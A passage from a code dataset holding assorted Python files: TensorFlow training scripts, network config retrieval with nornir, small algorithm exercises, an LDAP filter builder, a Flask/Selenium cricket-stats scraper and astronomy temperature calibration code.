accuracy\n\n\n'''\nモデルハイパーパラメータ\n'''\nseq_len = 128\nfreq = 64\nlr = 1e-4\nepochs = 1000\nbatch_size = 512\nk_prob = 0.6\nnum_sample = 100\n\n# early_stopping\nstop = False\n'''\nデータの生成\n'''\nos.chdir('data')\n\ntrain, train_label, test, test_label \\\n = make_data(train_mat = \"train_foot2.mat\",\n test_mat = \"test_foot2.mat\",\n train_label_mat = \"label_foot.mat\",\n test_label_mat = \"label_foot.mat\",\n seq_len=seq_len)\n\nplot_x = np.r_[train, test]\nplot_t = np.r_[train_label, test_label]\n\nN_train = len(train)\nn_batches = N_train // batch_size\nvector_dim = train.shape[2]\n\ntrain = train.reshape(-1, seq_len, vector_dim, 1)\ntest = test.reshape(-1, seq_len, vector_dim, 1)\n\n'''\n計算グラフ構築\n'''\nwith tf.variable_scope(\"Input\"):\n x = tf.placeholder(dtype=tf.float32, shape=[None, train.shape[1:]])\nwith tf.variable_scope(\"Target\"):\n t = tf.placeholder(dtype=tf.float32, shape=[None, 2])\nwith tf.variable_scope(\"dropout\"):\n keep_prob = tf.placeholder(dtype=tf.float32)\nwith tf.variable_scope(\"batch_normalization\"):\n b_n_on = tf.placeholder(dtype=tf.bool)\n\nh = x\n\nwith tf.variable_scope(\"conv-FIR\"):\n h = tf.layers.conv2d(h, filters=16, kernel_size=(6, 1), padding='same',\n activation=tf.nn.relu, use_bias=False)\n h = tf.nn.dropout(h, keep_prob=keep_prob)\n\n h = tf.layers.batch_normalization(h, training=b_n_on, axis=3)\n h = tf.layers.conv2d(h, filters=32, kernel_size=(6, 1), padding='same',\n activation=tf.nn.relu, use_bias=False)\n h = tf.layers.max_pooling2d(h, pool_size=(2, 1), strides=(2, 1))\n h = tf.nn.dropout(h, keep_prob=keep_prob)\n\n h = tf.layers.batch_normalization(h, training=b_n_on, axis=3)\n h = tf.layers.conv2d(h, filters=freq, kernel_size=(4, 1), padding='same',\n activation=tf.nn.relu, use_bias=False)\n h = tf.layers.max_pooling2d(h, pool_size=(2, 1), strides=(2, 1))\n h = tf.nn.dropout(h, keep_prob=keep_prob)\n\n\nwith tf.variable_scope(\"spatial_filter\"):\n h = tf.layers.batch_normalization(h, training=b_n_on, axis=2)\n h = tf.layers.conv2d(h, filters=freq, kernel_size=(1, 5), padding='same',\n activation=tf.nn.relu, use_bias=False)\n h = tf.layers.average_pooling2d(h, pool_size=(1, 5), strides=(1, 5))\n\n# with tf.variable_scope(\"RNN\"):\n# h = tf.unstack(h, None, 1)\n# cell = tf.contrib.rnn.LayerNormBasicLSTMCell(50, dropout_keep_prob=keep_prob)\n# att_cell = tf.contrib.rnn.AttentionCellWrapper(cell, attn_length=4)\n# h, _ = tf.contrib.rnn.static_rnn(att_cell, h, dtype=tf.float32)\n# h = h[-1]\n\nwith tf.variable_scope(\"dense\"):\n h = tf.contrib.layers.flatten(h)\n# h = tf.layers.batch_normalization(h, training=b_n_on)\n h = tf.layers.dense(inputs=h, units=256, activation=tf.nn.relu)\n# h = tf.layers.batch_normalization(h, training=b_n_on)\n h = tf.layers.dense(inputs=h, units=2, activation=tf.nn.relu)\n y = tf.nn.softmax(h)\n\nwith tf.variable_scope(\"loss\"):\n loss = tf.reduce_mean(-tf.reduce_sum(\n t * tf.log(tf.clip_by_value(y, 1e-10, 1.0)),\n reduction_indices=[1]))\n tf.summary.scalar(\"loss\", loss)\n\nwith tf.variable_scope(\"train_step\"):\n optimizer = tf.train.AdamOptimizer()\n train_step = optimizer.minimize(loss)\n\n'''\n学習\n'''\n\nprint(\"-------Session initialize--------\")\ninit = tf.global_variables_initializer()\nsess = tf.Session()\nwriter = tf.summary.FileWriter(\"./logs/nn_logs\", sess.graph)\nmerged = tf.summary.merge_all()\nsess.run(init)\ntr_feed = {x: train, t: train_label, keep_prob: 1.0, b_n_on: False}\n\nprint(\"-------start training-------\")\nfor epoch in range(epochs):\n X_, Y_ = shuffle(train, train_label)\n\n for i in range(n_batches):\n start = i * batch_size\n end = start + batch_size\n\n sess.run(train_step, feed_dict={\n x: X_[start:end],\n t: Y_[start:end],\n keep_prob: k_prob,\n b_n_on: True\n })\n\n training_loss = sess.run(loss, feed_dict={\n x: train,\n t: train_label,\n keep_prob: 1.0,\n b_n_on: False\n })\n\n summary = sess.run(merged, feed_dict=tr_feed)\n writer.add_summary(summary, epoch)\n\n print(\"epoch:{}\\n training_loss:{}\".format(\n epoch, training_loss))\n\nprint(\"-------finish training-------\")\n\nhist = np.zeros(train_label.shape)\nfor i in range(num_sample):\n probability = sess.run(y, feed_dict={\n x: train,\n keep_prob: k_prob,\n b_n_on: False\n })\n inf = np.eye(2)[np.argmax(probability, 1)]\n hist += inf\nhist /= num_sample\ncorrect_prediction = np.equal(np.argmax(hist, 1), np.argmax(train_label, 1))\naccuracy = np.mean(correct_prediction.astype(np.float32))\n\nprint(\"train_accuracy:{}\".format(accuracy))\n\nplt.plot(np.argmin(hist, 1))\nplt.plot(np.argmin(train_label, 1))\nplt.show()\n","sub_path":"end2end/end2end.py","file_name":"end2end.py","file_ext":"py","file_size_in_byte":5182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"90680874","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2019/10/24 13:55\n# @Author : RoryXiang (pingping19901121@gmail.com)\n# @Link : \"\"\n# @Version : 1.0\n\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.preprocessing import LabelBinarizer\n# LabelBinarizer 将非二值化特征二值化： [\"yes\", \"no\"] -> [1, 0]\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import load_digits\n\n\ndigits = load_digits()\nx_data = digits.data\ny_data = digits.target\ny_data = LabelBinarizer().fit_transform(y_data)\n\nx_train, x_test, y_train, y_test = train_test_split(\n x_data, y_data, test_size=0.3)\n\n\ndef add_layer(input, input_size, output_size, layer_name,\n activation_function=None):\n weights = tf.Variable(tf.random.normal([input_size, output_size]),\n dtype=np.float32)\n biases = tf.Variable(tf.zeros([1, output_size]) + 0.1)\n wx_plus_bias = tf.add(tf.matmul(input, weights), biases)\n wx_plus_bias = tf.nn.dropout(wx_plus_bias, keep_prob=0.1)\n if activation_function:\n output = activation_function(wx_plus_bias)\n else:\n output = wx_plus_bias\n return output\n\n\nxs = tf.placeholder(tf.float32, [None, 64])\nys = tf.placeholder(tf.float32, [None, 10])\nkeep_prob = tf.placeholder(tf.float32)\n\nl1 = add_layer(xs, 64, 50, \"l1\", activation_function=tf.nn.tanh) # l1\nprediction = add_layer(l1, 50, 10, \"l2\", activation_function=tf.nn.softmax)\n# l2\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction),\n reduction_indices=[1]),\n )\n# 因为cross_entropy 是一个标量 所以定义tf.summary.scalar\n\ntf.summary.scalar(\"loss\", cross_entropy)\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\ninit = tf.global_variables_initializer()\n\nwith tf.Session() as sess:\n # 合并所有的summary\n merged = tf.summary.merge_all()\n # 得到summary 的FileWriter\n train_writer = tf.summary.FileWriter(\"logs/train/\", sess.graph)\n test_writer = tf.summary.FileWriter(\"logs/test/\", sess.graph)\n\n sess.run(init)\n for i in range(1000):\n sess.run(train_step, feed_dict={xs: x_train,\n ys: y_train,\n keep_prob: 0.5})\n if i % 50 == 0:\n train_loss = sess.run(merged, feed_dict={xs: x_train,\n ys: y_train,\n keep_prob: 0.5})\n test_loss = sess.run(merged, feed_dict={xs: x_test,\n ys: y_test,\n keep_prob: 0.5})\n # train_writer.add_summary(train_loss, i)\n # mm = tf.compat.as_str(train_loss)\n print(\"train los: \", train_loss, \" test los: \", test_loss)","sub_path":"basic/dropout.py","file_name":"dropout.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"98923361","text":"#!/usr/bin/env python\n\nfrom nornir import InitNornir\nfrom nornir.plugins.tasks.networking import napalm_get\nfrom nornir.core.filter import F\nfrom pprint import pprint\n\ndef main():\n nr = InitNornir(config_file=\"config.yaml\")\n nxos = nr.filter(F(platform=\"nxos\"))\n results = nxos.run(\n task = napalm_get,\n getters = \"config\",\n getters_options = {\"config\": {\"retrieve\": \"running\"}}\n )\n for host, multi in results.items():\n print(\"=\" * 80)\n print(f\"Device {host}\")\n pprint(multi[0].result)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"wk3/ex6/ex6b.py","file_name":"ex6b.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"522952715","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/5/24 4:08 PM\n# @Author: lixiaomeng_someday\n# @Email : 131xxxx119@163.com\n# @File : TP_02_remove_duplicates.py\n\n\n\"\"\"\nstory:\n Given an array of sorted numbers, remove all duplicates from it.\n You should not use any extra space;\n after removing the duplicates in-place return the new length of the array.\n\nanalysis:\n 1、有序数组\n 2、子集\n\ninstance：\n Input: [2, 3, 3, 3, 6, 9, 9]\n Output: 4\n Explanation: The first four elements after removing the duplicates will be [2, 3, 6, 9].\n\n\"\"\"\n\n# method1: 利用集合去重\n\n\n# def remove_duplicates(array: list)->set:\n# un_duplicates_array = set(array)\n# return un_duplicates_array\n#\n#\n# def main():\n# arr_1 = [2, 3, 3, 3, 6, 9, 9]\n# print(remove_duplicates(arr_1))\n#\n#\n# if __name__ == \"__main__\":\n# main()\n\n\n# method2： 双指针法\n# 一个指针负责遍历，另一个指针负责记录动了多少次，这个是什么概念呢。就是只有遇到重复的element才会动，\n\ndef remove_duplicates(array:list):\n pointer_unduplicates: int = 0\n pointer_iterable: int = 1\n unduplicates_element_length: int = 1\n while pointer_iterable <= len(array) - 1:\n if array[pointer_iterable] - array[pointer_unduplicates] != 0:\n unduplicates_element_length += 1\n pointer_unduplicates = pointer_iterable\n\n pointer_iterable += 1\n return pointer_unduplicates, unduplicates_element_length\n\n\ndef main():\n arr_1 = [2, 3, 3, 3, 6, 9, 9]\n print(remove_duplicates(arr_1))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"xm02_array_two_pointers/TP_02_remove_duplicates.py","file_name":"TP_02_remove_duplicates.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"268466069","text":"from math import sqrt\nimport Stumpff\n\nmu = 398600\n\ndef compute_chi(r0, vr0, a, delta_t):\n alpha = 1 / a\n chi = sqrt(mu) * abs(alpha) * delta_t\n z = alpha * (chi) ** 2\n\n ratio = 1\n tolerance = 10**(-6)\n\n def compute_fchi(r0, vr0, delta_t):\n A = (r0 * vr0 / sqrt(mu)) * (chi) ** 2 * Stumpff.stumpC(z)\n B = (1 - alpha * r0) * (chi) ** 3 * Stumpff.stumpS(z)\n C = r0 * chi - (sqrt(mu) * delta_t)\n return A + B + C\n\n def compute_fchi_derivative(r0, vr0):\n D = (r0 * vr0 / sqrt(mu)) * (chi) * (1 - (alpha * (chi) ** 2 * Stumpff.stumpS(z)))\n E = (1 - alpha * r0) * (chi) ** 2 * Stumpff.stumpC(z) + r0\n return D + E\n\n while abs(ratio) > tolerance:\n ratio = compute_fchi(r0, vr0, delta_t) / compute_fchi_derivative(r0, vr0)\n chi = chi - ratio\n\n return chi\n\ndef main():\n chi = compute_chi(r0=14000, vr0=-2.6679, a=14000, delta_t=3600)\n #chi = compute_chi(r0=10000, vr0=3.0752, a=-19655, delta_t=3600)\n print(chi)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"UniversalAnomaly.py","file_name":"UniversalAnomaly.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"271422412","text":"#!/usr/bin/env python\n\n\"\"\"\n\nWrite the shortest possible code which converts tabs to spaces in the input. Tab size should be supplied as a parameter or be hardcoded in the code in a single place.\n\nSpaces on output should point to the right column, e.g. (\\t represents a tab character):\n\na\\tb\naa\\tb\naaa\\tb\naaaa\\tb\nshould become (for tab size 4):\n\na b\naa b\naaa b\naaaa b\nOf course there can be more than one tab in a line.\n\nLine separator and tab character should match the system defaults (e.g. ASCII 10 and 9 on Unix).\n\n\"\"\"\n\ndef convert(s):\n r = \"\"\n i = 0\n for c in s:\n if c != '\\t':\n r += c\n else:\n r += \" \" * (4 - (i % 4))\n i += 1\n return r\n\ndef main():\n assert(convert(\"a\\tb\") == \"a b\")\n assert(convert(\"aa\\tb\") == \"aa b\")\n assert(convert(\"aaa\\tb\") == \"aaa b\")\n assert(convert(\"aaaa\\tb\") == \"aaaa b\")\n\nmain()\n","sub_path":"codegolf/convert-tabs-to-spaces.py","file_name":"convert-tabs-to-spaces.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"58903127","text":"from ldap3.utils.conv import escape_filter_chars\nfrom parse import compile\n\"\"\"\nvery poor mans ldapfilter handling\nonly stacking up & filters is supported by now\n\"\"\"\n\n\nclass LdapFilterParam(object):\n def __init__(self, attrname, attrvalue):\n self.attrname = attrname\n self.attrvalue = attrvalue\n\n def __repr__(self):\n val = escape_filter_chars(self.attrvalue)\n fstr = \"({}={})\".format(self.attrname, val)\n return fstr\n\n\nclass LdapFilter(object):\n p = compile(\"{}={}\")\n\n def __init__(self, parameter=None):\n self.parameters = list()\n if parameter:\n (attrname, attrvalue) = self.p.parse(parameter)\n filter_param = LdapFilterParam(attrname, attrvalue)\n self.parameters.append(filter_param)\n return\n\n def add(self, attrname, attrvalue):\n param = LdapFilterParam(attrname, attrvalue)\n self.parameters.append(param)\n return\n\n def filter_string(self):\n filter_string = \"(objectClass=*)\"\n if len(self.parameters) == 1:\n filter_string = str(self.parameters[0])\n if len(self.parameters) > 1:\n param_strings = []\n for param in self.parameters:\n param_strings.append(str(param))\n filter_string = \"(&\" + \"\".join(param_strings) + \")\"\n return filter_string\n\n def __repr__(self):\n r = self.filter_string()\n return r\n","sub_path":"classes/ldapfilter.py","file_name":"ldapfilter.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"247511234","text":"#!/usr/bin/env python3\n\nimport argparse\nimport binascii\nimport json\n\nfrom uplink import *\n\n\n# Command-line arguments\nparser = argparse.ArgumentParser(prog='create-test-asset',\n description='''\nThis script creates some accounts with a 'Name' metadata\nfield, and outputs the account keys and addresses as JSON.\n''')\n\nargs = parser.parse_args()\n\n\n# Connect to Uplink\nrpc = UplinkJsonRpc(host=\"localhost\", port=8545, tls=False)\n\n# Create test accounts\ndef create_account(rpc, name):\n pubkey, skey = ecdsa_new()\n\n metadata = dict(Name = name)\n\n txhash, address = rpc.uplink_create_account(\n private_key=skey,\n public_key=pubkey,\n from_address=None,\n metadata=metadata,\n timezone=\"CET\"\n )\n\n return {\n 'name': name,\n 'address': address,\n 'public_key': binascii.b2a_hex(pubkey.to_string()).decode(),\n 'private_key': binascii.b2a_hex(skey.to_string()).decode()\n }\n\naccounts = []\nfor name in [\"Alice\", \"Bob\", \"Charlie\", \"David\"]:\n accounts.append(create_account(rpc, name))\nprint(json.dumps(accounts, sort_keys=True, indent=4))\n","sub_path":"scripts/create-test-accounts.py","file_name":"create-test-accounts.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"479892666","text":"from flask import Flask,url_for,render_template,jsonify,request,send_from_directory,redirect;\nimport logging as lg;\nimport loggin as domain;\nimport os;\nimport jinja2;\nfrom flask_socketio import SocketIO;\nfrom flask_sock import Sock\nfrom mongodbsetup import createMongoConnectionObject;\nfrom bs4 import BeautifulSoup as bs;\nfrom selenium import webdriver\nfrom selenium.webdriver.common import keys\nimport requests as rs\nfrom selenium.webdriver.chrome.options import Options\nimport pandas as pd;\nimport time as te;\nimport plotly.offline as po;\nimport plotly.express as px;\nimport plotly.graph_objects as go;\n# import scrapy as scrap;\ncrome_driver_path = 'E:/inuron/videos/scraping and seaborn/chromedriver.exe';\n\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\n # chrome_options.add_argument(\"--window-size=%s\" % WINDOW_SIZE)\n # chrome_options.binary_location = CHROME_PATH\n\n\n\n\n# driver.get('https://www.espncricinfo.com/')\n# zz=driver.find_element_by_xpath(\"//a[@data-hover='Teams']\")\n\n# zz.click();\n# az=driver.find_element_by_xpath(\"//*[@id='navbarSupportedContent']/ul[2]/div/li\")\n\n# az.click()\n# pp=driver.find_element_by_xpath(\"//*[@id='navbarSupportedContent']/ul[2]/div/div/div/form/input\")\n# pp.send_keys('Sachin');\n# pp.send_keys(keys.ENTER);\n# zz=driver.find_element_by_xpath(\"//*[@id='navbarSupportedContent']/ul[2]/div/div/div/form/button\")\n\n# zz.click();\nprint('gggggggggggggggggggggggggggggggggggggggggggggggggggg')\n# print(driver.page_source)\n# bs=BeautifulSoup(driver.page_source,'html.parser')\n# ele=bs.xpath(\"//*[@id='navbarSupportedContent']/ul[2]/div/div/div/form/input\")\n# print(bs)\n# driver.close()\n# zz=rs.get('https://www.espncricinfo.com/')\n# for i in :\n # print(i)\n# kk=[i for i in zz]\n# print(kk) \nloger=domain.loggin()\ndoimanFile=loger.writingInfile();\ndomainConsole=loger.writeInConsolo();\n\ndb_connection=createMongoConnectionObject();\nmain_db=db_connection.sendMongoConnection()\ndomainConsole.info('mongo connection seccused');\nprint(main_db)\n\n######################\nvsTeam='#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(3) > div';\ninHostCountry = '#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(4) > div'\ninContinent = '#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(5) > div'\nhomeVsAway = '#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(6) > div'\nbyEar= '#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(7) > div'\n \n# try:\n# zk=main_db['sub']\n# collections1=zk['super']\n# collections1.insert_one({'name':'happy'})\n# print(main_db.list_database_names())\n# print('inserted')\n# except Exception as e:\n# domainConsole.error('Error inserting');\n# doimanFile.error(f'Error inserting2')\n# template_dir = os.path.join(template_dir,'\\practice\\flaskProject\\template')\n# domain.logger.error(template_dir)\napp = Flask(__name__, template_folder ='views', static_folder='stastic');\n\n# app.config['SECRET_KEY'] = 'secret!'\n# socketio = SocketIO(app)\n# sock = Sock(app)\n\n# my_loader = jinja2.ChoiceLoader([\n# app.jinja_loader,\n# jinja2.FileSystemLoader(['/flaskProject/views']),\n# ])\n\n\n# app.jinja_loader = my_loader\n@app.route('/uploadimg',methods=[\"GET\"]) \ndef homePage():\n # domain.view_log.info('This is a warning message') \n # domain.logger.error('This is an error message') \n # domain.logger.critical('Dheeraj')\n \n domainConsole.info('This is a warning message') \n domainConsole.error('This is an error message') \n doimanFile.critical('Dheeraj File')\n \n # logg.error('hii')\n # ap0=os.path.join(template_dir,'homePage','home.html',template_folder='folder1')\n # return render_template('homePage\\home.html',template_folder=template_dir);\n replies = {'Jack':'Cool post',\n\t\t\t 'Jane':'+1',\n\t\t\t 'Erika':'Most definitely',\n\t\t\t 'Bob':'wow',\n\t\t\t 'Carl':'amazing!'};\n \n # return send_from_directory('views','homePage/home.html') \n return render_template('homePage/home2.html',replies=replies)\n # views\\homePage\\home.html\n \n@app.route('/resiveScrapingUrl',methods=['POST'])\ndef geturl():\n print(request.form['scrapingUrl']);\n driver = webdriver.Chrome(executable_path=crome_driver_path)\n driver.get(request.form['scrapingUrl'])\n \n # selectedElement=driver.find_element_by_css_selector('#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div:nth-child(3) > div')\n selectorDropdown=driver.find_element_by_css_selector('#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div.player_stats-header.d-flex.justify-content-between.align-items-center > div > div > div:nth-child(1) > button')\n selectorDropdown.click()\n if (request.form['matchFormat'] == 'Test') :\n try :\n \n \n selectfiefd=driver.find_element_by_css_selector('#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div.player_stats-header.d-flex.justify-content-between.align-items-center > div > div > div:nth-child(1) > div > div > ul > li.ci-dd__selected-option')\n selectfiefd.click()\n except Exception as e:\n domainConsole.error(e) \n doimanFile.critical(e)\n \n if (request.form['matchFormat'] == 'odi') :\n try :\n \n selectfiefd=driver.find_element_by_css_selector('#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div.player_stats-header.d-flex.justify-content-between.align-items-center > div > div > div:nth-child(1) > div > div > ul > li:nth-child(2)')\n selectfiefd.click() \n except Exception as e :\n domainConsole.error(e) \n doimanFile.critical(e)\n \n if (request.form['matchFormat'] == 'Test') :\n try:\n \n \n selectfiefd=driver.find_element_by_css_selector('#main-container > div:nth-child(1) > div > div.container > div > div.playerpage-content > div.card.stats_mobile-negative-margin.player-stats-containter-mobile-bp > div.player_stats-header.d-flex.justify-content-between.align-items-center > div > div > div:nth-child(1) > div > div > ul > li:nth-child(3)')\n selectfiefd.click()\n except Exception as e :\n domainConsole.error(e) \n doimanFile.critical(e)\n vs='' \n if (request.form['vs'] == 'vs Team') :\n vs=vsTeam;\n if (request.form['vs'] == 'In Host Country') :\n vs=inHostCountry; \n if (request.form['vs'] == 'in Continent') :\n vs=inContinent; \n if (request.form['vs'] == 'Home vs Away') :\n vs=homeVsAway; \n if (request.form['vs'] == 'By Year') :\n vs=byEar; \n \n te.sleep(5)\n selectedElement=driver.find_element_by_css_selector(vs)\n \n table=selectedElement.get_attribute('innerHTML');\n soupobj=bs(table,'html.parser')\n \n allLinksinTable = soupobj.find_all('a')\n \n \n dataframe=pd.read_html(table)\n fig0=[];\n \n for i in list(dataframe[0].index):\n fig0.append(go.Scatter(x=[dataframe[0]['Span'][i]],y=[dataframe[0]['Runs'][i]],mode='markers',name=str(dataframe[0]['Title'][i]),hovertemplate=f\"HS:{[dataframe[0]['HS'][i]]}
    AVG:{[dataframe[0]['Avg'][i]]}\"))\n \n fig0.append(go.Scatter(x=dataframe[0]['Span'],y=dataframe[0]['Runs'],mode=\"lines\"))\n fig=go.Figure(data=fig0)\n po.plot(fig,filename=\"views/homePage/first_figure.html\",auto_open=False)\n te.sleep(5)\n driver.close()\n # return redirect(url_for('http://localhost:8000/graphview'))\n return {'uri':'/graphview'}\n\n@app.route('/graphview')\ndef showGraph():\n return render_template('homePage/first_figure.html')\n \n@app.route('/',methods=['GET'])\ndef vedioPage():\n try :\n return render_template('homePage/home.html') \n except Exception :\n \n domainConsole.error('video page rendring error') \n doimanFile.critical('video page rendring error')\n \n# @socketio.on('connecteduser')\n# def showConnectedMsg(data):\n# print(data) \n\n # while True:\n # data = ws.receive()\n # ws.send(data)\n \nif __name__ == '__main__':\n app.run(host=\"localhost\", port=8000, debug=True); \n # socketio.run(app,host=\"localhost\", port=3030, debug=True)\n # websockets.serve('hello', \"localhost\", 8765); \n ","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"252668050","text":"import random\n\n''' Python provides a really easy way of\n of writing the coin toss program. Over\n here we will be using the random function.\n Using this, we will provide the values 0\n and 1 to denote heads and tails.\n '''\n\ndef coin_toss():\n\n heads = 0\n tails = 0\n\n while True:\n prompt = \"Enter to flip coin. Press ctrl + z to exit\"\n input(prompt)\n\n # Use the random function to flip the coin\n # Heads is denoted by 0\n # Tails is denoted by 1\n toss = random.randint(0, 1)\n\n if toss == 0:\n heads += 1\n \n else:\n tails += 1\n\n print(\"Heads: \", heads)\n print(\"Tails: \", tails)\n\ncoin_toss()\n \n","sub_path":"coinflip.py","file_name":"coinflip.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"270118847","text":"from sklearn.tree import DecisionTreeClassifier\r\n\r\nimport pandas as pd\r\nimport Features\r\n\r\ndata = pd.read_csv('Dataset.csv',delimiter=',',header=0)\r\nX = data.iloc[:,:-1].values\r\nY = data.iloc[:,-1].values\r\nclf = DecisionTreeClassifier()\r\nclf = clf.fit(X,Y)\r\n#input url\r\nurl = input(\"Enter the URL:\")\r\n\r\n#checking and predicting\r\ncheckprediction = Features.main(url)\r\nprediction = clf.predict(checkprediction)\r\nif (prediction == [1]):\r\n print(\"Phishing\")\r\nelse:\r\n print(\"Legitimate\")\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"450906933","text":"# routines for comparing gravities with photometric` sample\n\nfrom apogee.utils import apload\nfrom apogee.utils import apselect\nfrom astropy.io import fits\nfrom astropy.io import ascii\nfrom tools import match\nfrom tools import plots\nfrom tools import fit\nfrom apogee.utils import bitmask\nfrom apogee.aspcap import err\nimport pdb\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport matplotlib\n\ndef bindata(xdata,ydata,bins,median=True) :\n \"\"\"\n Given xdata, ydata, and bins in x, returns mean of ydata in each of the bins\n \"\"\"\n mean=bins*0.\n for i in range(len(bins)-1) :\n j=np.where((xdata>bins[i]) & (xdataglatmin and SFD_EBVglatmin)&(allstar['SFD_EBV']glatmin)&(allstar['SFD_EBV']>-0.01)&(allstar['SFD_EBV'] 3.8)[0]\n ghb[dw]=ghb_dwarf[dw]\n dtdjk[dw]=dtdjk_dwarf[dw]\n gd=np.where(abs(allstar['FPARAM'][:,0]-ghb) < 500)[0]\n ghb=ghb[gd]\n dtdjk=dtdjk[gd]\n allstar=allstar[gd]\n print('Teff calibration, number of stars: ', len(allstar))\n\n if calib : \n param='PARAM'\n teff=allstar[param][:,0]\n logg=allstar[param][:,1]\n mh=allstar[param][:,3]\n am=allstar[param][:,6]\n elif grid is None :\n param='FPARAM'\n teff=allstar[param][:,0]\n logg=allstar[param][:,1]\n mh=allstar[param][:,3]\n am=allstar[param][:,6]\n else :\n param='FPARAM_CLASS'\n teff=allstar[param][:,grid,0]\n logg=allstar[param][:,grid,1]\n mh=allstar[param][:,grid,3]\n am=allstar[param][:,grid,6]\n out=out+'_grid{:1d}'.format(grid)\n\n # plot Teff difference against metallicity, color-code by temperature\n fig,ax=plots.multi(1,1,hspace=0.001,wspace=0.001,figsize=(12,6))\n xr=[-3.0,1.0]\n zr=trange\n if dr13: zr=[3500,5500]\n binsize=0.25\n bins=np.arange(-2.5,0.75,binsize)\n # diff color-coded by gravity as f([M/H])\n\n if alpha :\n plots.plotc(ax,mh,teff-ghb,am,zr=[-0.1,0.4],xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff',colorbar=True,zt=r'[$\\alpha$/M]',rasterized=True,cmap=cmap)\n else :\n plots.plotc(ax,mh,teff-ghb,teff,xr=xr,yr=yr,xt='[M/H]',yt='ASPCAP-photometric Teff',colorbar=True,zt='$T_{eff}$',rasterized=True,zr=trange,cmap=cmap)\n mean=bindata(mh,teff-ghb,bins,median=False)\n if not dr13: plots.plotp(ax,bins+binsize/2.,mean,marker='o',size=40)\n mean=bindata(mh,teff-ghb,bins,median=True)\n if not dr13: plots.plotp(ax,bins+binsize/2.,mean,marker='o',size=40,color='b')\n ax.text(0.1,0.9,'E(B-V)<{:6.2f}'.format(ebvmax),transform=ax.transAxes)\n gd=np.where(np.isfinite(mean))[0]\n tefit = fit.fit1d(bins[gd]+binsize/2.,mean[gd],degree=2,reject=0)\n # 1D quadratic fit as a function of metallicity\n allfit = fit.fit1d(mh,teff-ghb,ydata=teff,degree=2,reject=0)\n fig2,ax2=plots.multi(1,1)\n tefit2 = fit.fit2d(mh,teff,teff-ghb,reject=0,plot=ax2,zr=[-500,200],xt='[M/H]',yt=['Teff'],zt='$\\Delta Teff$')\n #pfit = fit.fit2d(allstar[param][:,3],allstar[param][:,0],allstar[param][:,0]-ghb,plot=ax[0,0],zr=[-500,200],xt='[M/H]',yt=['Teff'],zt='$\\Delta Teff$')\n #ejk=np.clip(np.sqrt(allstar['J_ERR']**2+allstar['K_ERR']**2),0.,0.02)\n #errpar = err.errfit(teff,allstar['SNR'],mh,teff-tefit(mh)-ghb,title='Teff',out=out+'_phot',zr=[0,250],meanerr=abs(dtdjk)*ejk)\n errpar = err.errfit(teff,allstar['SNR'],mh,teff-tefit(mh)-ghb,title='Teff',out=out,zr=[0,150])\n\n x=np.linspace(-3,1,200)\n rms = (teff-tefit(mh)-ghb).std()\n if dr13: \n plots.plotl(ax,x,-36.17+95.97*x-15.09*x**2,color='k')\n print(allfit)\n else :\n plots.plotl(ax,x,tefit(x),color='k')\n ax.text(0.98,0.9,'rms: {:6.1f}'.format(rms),transform=ax.transAxes,ha='right')\n\n cmap = matplotlib.cm.get_cmap(cmap)\n for t in np.arange(trange[0],trange[1],500.) 